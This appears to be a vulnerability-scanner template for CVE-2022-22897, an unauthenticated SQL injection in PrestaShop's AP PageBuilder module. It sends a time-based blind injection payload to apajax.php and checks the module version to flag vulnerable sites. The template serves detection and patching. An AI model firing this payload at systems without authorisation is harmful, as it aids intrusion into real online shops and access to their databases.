60 lines
2.2 KiB
YAML
60 lines
2.2 KiB
YAML
id: CVE-2022-22897
|
|
|
|
info:
|
|
name: PrestaShop Ap Pagebuilder <= 2.4.4 SQL Injection
|
|
author: mastercho
|
|
severity: critical
|
|
description: |
|
|
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
|
|
remediation: |
|
|
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
|
|
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
|
|
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-22897
|
|
cwe-id: CWE-89
|
|
epss-score: 0.04685
|
|
epss-percentile: 0.91674
|
|
cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: apollotheme
|
|
product: ap_pagebuilder
|
|
framework: prestashop
|
|
shodan-query: http.component:"Prestashop"
|
|
tags: packetstorm,cve,cve2022,prestashop,sqli,unauth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Referer: {{RootURL}}
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
|
|
- |
|
|
GET /modules/appagebuilder/config.xml HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: version
|
|
part: body_2
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration_1>=6'
|
|
- 'status_code_2 == 200 && compare_versions(version, "<= 2.4.4")'
|
|
condition: and
|
|
# digest: 490a0046304402207bf1fd6c94455dcfe55b2b3f584fd0a7a795d19015735f8dc648c3ee4d3defa202202d69a3e670d588597a33dad31fb7947a2bc72f2fdc0cbae61d5d971cdcbb30c9:922c64590222798bb761d5b6d8e72950 |